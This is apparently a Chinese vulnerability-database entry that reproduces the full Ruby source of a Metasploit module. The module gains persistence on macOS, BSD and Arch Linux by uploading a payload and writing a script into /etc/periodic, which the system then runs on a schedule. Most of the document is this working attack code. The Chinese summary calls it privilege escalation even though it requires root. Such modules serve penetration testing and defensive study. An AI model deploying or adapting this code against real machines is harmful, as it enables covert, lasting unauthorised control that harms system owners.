Periodic Script Persistence

漏洞信息

漏洞名称: Periodic Script Persistence

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: 该漏洞利用模块通过在/etc/periodic目录下写入脚本实现持久化,适用于Mac OS X、BSD和Arch Linux系统。根据The Art of Mac Malware的资料,截至2024年,尚未有恶意软件采用此种方式进行持久化。此漏洞利用需要root权限才能执行。

受影响产品:该漏洞主要影响Mac OS X、BSD和Arch Linux操作系统。这些系统广泛应用于个人电脑、服务器以及开发环境中,特别是在需要高安全性和稳定性的场景下。

漏洞解释:此漏洞属于权限提升类型,攻击者通过在系统的/etc/periodic目录下写入恶意脚本,利用系统的周期性任务执行机制,实现持久化控制。技术根源在于系统对/etc/periodic目录的权限控制不足,允许具有root权限的用户写入可执行脚本。

影响分析:成功利用此漏洞的攻击者可以在目标系统上实现持久化控制,执行任意代码,可能导致数据泄露、服务中断等严重后果。由于需要root权限,攻击者通常需要先通过其他手段获取系统的高权限。此漏洞的利用依赖于系统的周期性任务执行机制,因此攻击效果具有时间依赖性。

产品名称: Mac OS X, BSD, Arch Linux

来源: https://github.com/rapid7/metasploit-framework/blob/e465720a3c0a51136d96fa41ed70f4827c1e77dc/modules%2Fexploits%2Fmulti%2Flocal%2Fperiodic_script_persistence.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Periodic Script Persistence',
'Description' => %q{
This module will achieve persistence by writing a script to the /etc/periodic directory.
According to The Art of Mac Malware no such malware species persist in this manner (2024).
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
},
'License' => MSF_LICENSE,
'Author' => 'gardnerapp',
'References' => [
[
'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'
]
],
'DisclosureDate' => '2012-04-01',
'Privileged' => true,
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 4,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
OptString.new('SCRIPT_NAME', [false, 'Name of script ', Rex::Text.rand_text_alphanumeric(rand(6..13))]),
OptString.new('PAYLOAD_DIR', [true, 'Directory to write payload to', '/tmp/']),
OptString.new('PAYLOAD_FILENAME', [true, 'Name of the payload file.', Rex::Text.rand_text_alphanumeric(rand(6..13))])
])
end

def check
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

if writable? periodic
return CheckCode::Vulnerable "#{periodic} is writable"
else
CheckCode::Safe "Unable to write to #{periodic}"
end
end

def write_payload(payload_bin)
payload_dir = datastore['PAYLOAD_DIR']
fail_with(Failure::BadConfig, "The #{payload_dir} is not writable.") unless writable? payload_dir

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = payload_dir + datastore['PAYLOAD_FILENAME']

if upload_and_chmodx(payload_file, payload_bin)
print_good "Writing payload to #{payload_file} suceeded"
else
fail_with(Failure::UnexpectedReply, "Unable to write payload to #{script}")
end

# add payload to cleanup
@clean_up_rc << "rm #{payload_file} "
payload_file
end

def write_periodic_script(payload_file)
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

script = periodic_dir + datastore['SCRIPT_NAME']

@clean_up_rc << script.to_s

if upload_and_chmodx(script, payload_file.to_s)
print_status "Succesfully wrote periodic script to #{script}. This will execute #{payload_file}"
else
fail_with(Failure::UnexpectedReply, "Unable to write #{script}")
end
end

# determin which version of python is installed on the system and return it's path
def get_python
print_status 'Getting python version & path.'
python = nil

# variable needs to be created before eval, can't declare in eval
python_version = ''

%w[python python2 python3].each do |py|
eval("python_version = cmd_exec('#{py} --version')")
# No match == able to find python version. Then get it's PATH

if !python_version.include? 'not found'
print_good "Found python version #{python_version}"
python = cmd_exec("which #{py}")
end
end

if python.blank?
fail_with(Failure::PayloadFailed, 'Unable to find python version. Try another payload.')
end
print_good "Found python path #{python}"
python
end

def exploit
@clean_up_rc = 'sudo '

if target['Arch'] == ARCH_PYTHON
python = get_python
payload_bin = "#{python}\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env bash\n" + payload.raw
else
payload_bin = generate_payload_exe
end

payload_file = write_payload payload_bin

write_periodic_script payload_file

puts "Cleanup script:\n\n#{@clean_up_rc}"
end
end